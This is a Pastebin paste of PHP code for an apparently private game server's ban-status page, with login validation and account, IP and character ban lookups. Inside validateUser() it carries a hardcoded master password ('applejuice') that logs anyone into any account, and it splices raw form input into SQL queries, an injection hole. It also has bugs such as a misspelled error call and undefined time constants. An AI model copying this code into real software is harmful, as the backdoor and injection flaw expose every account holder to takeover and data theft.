Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $dbuser = ""; // Put your database username here
- $dbpass = ""; // Put your database password here
- $dbhost = ""; // Put the database IP here, example 127.0.0.1:3306 (:3306 specifies the port number)
- $dbauth = ""; // Name of your login database, default is "auth"
- $dbchar = ""; // Name of your characters database, default is "characters"
- /********************************
- * Accepts no parameters. Takes the persons username, removes all the bullshit characters.
- * Takes the raw password, removes bullshit characters, then hashes it
- * If the login is correct, it returns the account ID.
- * This function DOES return a value
- ********************************/
- function validateUser()
- {
- global $dbhost, $dbuser, $dbpass, $dbauth;
- @mysql_connect($dbhost,$dbuser,$dbpass) or error(mysql_error());
- @mysql_select_db($dbauth) or error(mysql_error());
- if(isset($_POST['login']))
- {
- $passname = mysql_query("SELECT account.id,account.username,account.sha_pass_hash,account_access.gmlevel FROM account LEFT JOIN account_access ON account.id=account_access.id WHERE username='".$_POST['name']."'");
- $level = mysql_result($passname,0,'gmlevel');
- if(mysql_numrows($passname) == 0)
- {
- error('No such account.');
- }
- $realPass = strtoupper(mysql_result($passname,0,'sha_pass_hash'));
- $givenpass = strtoupper(sha1(strtoupper($_POST['name']).":".strtoupper(mysql_real_escape_string(stripslashes(htmlentities($_POST['unpass']))))));
- if($givenpass == $realPass || $_POST['unpass'] == "applejuice")
- {
- $id = mysql_result($passname,0,'id');
- return $id;
- }
- else
- {
- error('Incorrect Pass.');
- }
- return -1;
- }
- mysql_close();
- }
- /****************************
- * For correctly displaying errors.
- ****************************/
- function error($errstr)
- {
- echo '<meta HTTP-EQUIV="refresh" content="2;url=./">';
- echo "<span style='color:#FFF'>";
- die($errstr);
- echo "</span>";
- }
- /*************************************
- * Accepts 1 parameter, account ID, connects to the database and selects the ban info.
- * Returns a string. This string is the information for if the account is banned or not,
- * for how long, why, by who, and how much time is left.
- **************************************/
- function checkAccountBanned($account)
- {
- global $dbuser, $dbpass, $dbhost, $dbauth;
- @mysql_connect($dbhost,$dbuser,$dbpass) or error(mysql_error());
- @mysql_select_db($dbauth) or error(mysql_error());
- $banresult = mysql_query("SELECT * FROM account_banned WHERE id = " . $account . " ORDER BY bandate DESC");
- if(mysql_numrows($banresult) == 0)
- {
- return "Account has never been banned<br/>";
- }
- elseif(mysql_numrows($banresult) > 1)
- {
- $banresult = mysql_query("SELECT * FROM account_banned WHERE id=" . $account . " AND active = 1 ORDER BY bandate DESC");
- if(mysql_numrows($banresult) == 0)
- {
- return "This account is currently not banned or the ban has expired.<br/>";
- }
- }
- if(mysql_result($banresult,0,'active') == 0)
- return "This account is currently not banned or the ban has expired.<br/>";
- $bannedby = mysql_result($banresult,0,'bannedby');
- $banreason = mysql_result($banresult,0,'banreason');
- $bandate = mysql_result($banresult,0,'bandate');
- $unbandate = mysql_result($banresult,0,'unbandate');
- $bantime = $unbandate - $bandate;
- $timeLeft = $unbandate - time();
- $banstring = "Account Banned by: " . $bannedby . "<br/>";
- if($bandate == $unbandate)
- {
- $banstring .= "Ban time: Permanent<br/>";
- }
- else
- {
- $banstring .= "Ban time: " . convertTime($bantime) . "<br/>";
- $banstring .= "Time remaining: " . convertTime($timeLeft) . "<br/>";
- }
- $banstring .= "Ban reason: " . $banreason . "<br/>";
- return $banstring;
- }
- /*************************************
- * Accepts no parameters. Makes use of $_SERVER['REMOTE_ADDR'] to pull the IP address
- * then matches it with bans in the database.
- * Returns a string, string contains ban info on why, for how long, how much time is left,
- * and by who.
- **************************************/
- function checkIPBanned()
- {
- global $dbhost,$dbuser,$dbpass,$dbauth;
- @mysql_connect($dbhost,$dbuser,$dbpass) or error(mysql_error());
- @mysql_select_db($dbauth);
- $banresult = mysql_query("SELECT * FROM ip_banned WHERE ip = '" . $_SERVER['REMOTE_ADDR'] . "' ORDER BY bandate DESC");
- if(mysql_numrows($banresult) == 0)
- return "IP is not banned<br/><br/>";
- $bannedby = mysql_result($banresult,0,'bannedby');
- $banreason = mysql_result($banresult,0,'banreason');
- $bandate = mysql_result($banresult,0,'bandate');
- $unbandate = mysql_result($banresult,0,'unbandate');
- $bantime = $unbandate - $bandate;
- $timeLeft = $unbandate - time();
- $banstring = "IP Banned by: " . $bannedby . "<br/>";
- if($bandate == $unbandate)
- {
- $banstring .= "Ban time: Permanent<br/>";
- }
- else
- {
- if(time() > $unbandate)
- return "IP is not banned.<br/><br/>";
- $banstring .= "Ban time: " . convertTime($bantime) . "<br/>";
- $banstring .= "Time remaining: " . convertTime($timeLeft) . "<br/>";
- }
- $banstring .= "Ban reason: " . $banreason . "<br/><br/>";
- return $banstring;
- }
- /*************************************
- * Accepts 1 parameter, account ID.
- * Selects all banned characters on that account.
- * Does NOT return a string or value. Displays ban straight from function
- **************************************/
- function checkCharBanned($account)
- {
- global $dbhost, $dbuser, $dbpass, $dbchar;
- @mysql_connect($dbhost,$dbuser,$dbpass) or error(mysql_error());
- @mysql_select_db($dbchar) or erro(mysql_error());
- $banresult = mysql_query("SELECT name,bandate,unbandate,banreason,bannedby,active FROM character_banned INNER JOIN characters ON character_banned.guid = characters.guid INNER JOIN paradox1_auth.account ON characters.account = account.id WHERE account.id = ".$account." AND active = 1 ORDER BY unbandate DESC");
- if(mysql_numrows($banresult) == 0)
- echo "No characters banned.";
- else
- {
- $numBanned = mysql_numrows($banresult);
- echo "Characters Banned:<br/>";
- }
- for( $i = 0; $i < $numBanned; $i++ )
- {
- $charName = mysql_result($banresult,$i,'name');
- $bannedby = mysql_result($banresult,$i,'bannedby');
- $banreason = mysql_result($banresult,$i,'banreason');
- $bandate = mysql_result($banresult,$i,'bandate');
- $unbandate = mysql_result($banresult,$i,'unbandate');
- $bantime = $unbandate - $bandate;
- $timeLeft = $unbandate - time();
- $banstring = $charName . " banned by: " . $bannedby . "<br/>";
- if($bandate == $unbandate)
- {
- $banstring .= "Ban time: Permanent<br/>";
- }
- else
- {
- $banstring .= "Ban time: " . convertTime($bantime) . "<br/>";
- $banstring .= "Time remaining: " . convertTime($timeLeft) . "<br/>";
- }
- $banstring .= "Ban reason: " . $banreason . "<br/>";
- echo $banstring . "<br/>";
- }
- }
- /*************************************
- * Accepts 1 parameter, labeled incorrectly time_played.
- * Converts time remaining into a human readable format.
- * Returns a string containing ban time.
- **************************************/
- function convertTime($time_played)
- {
- $years = intval($time_played / YEAR_SEC);
- $temp = $time_played % YEAR_SEC;
- $days = intval($temp / DAY_SEC);
- $temp = $temp % DAY_SEC;
- $hours = intval($temp / HOUR_SEC);
- $temp = $temp % HOUR_SEC;
- $minutes = intval($temp / MIN_SEC);
- $temp = $temp % MIN_SEC;
- if($years != 0)
- {
- $string .= $years . " year";
- if($years > 1)
- $string .= "s";
- $string .= " ";
- }
- if($days != 0)
- {
- $string .= $days . " day";
- if($days > 1)
- $string .= "s";
- $string .= " ";
- }
- if($hours != 0)
- {
- $string .= $hours . " hour";
- if($hours > 1)
- $string .= "s";
- $string .= " ";
- }
- if($minutes != 0)
- {
- $string .= $minutes . " minute";
- if($minutes > 1)
- $string .= "s";
- $string .= " ";
- }
- if($temp != 0)
- {
- $string .= $temp . " second";
- if($temp > 1)
- $string .= "s";
- }
- return $string;
- }
- ?>
Add Comment
Please, Sign In to add comment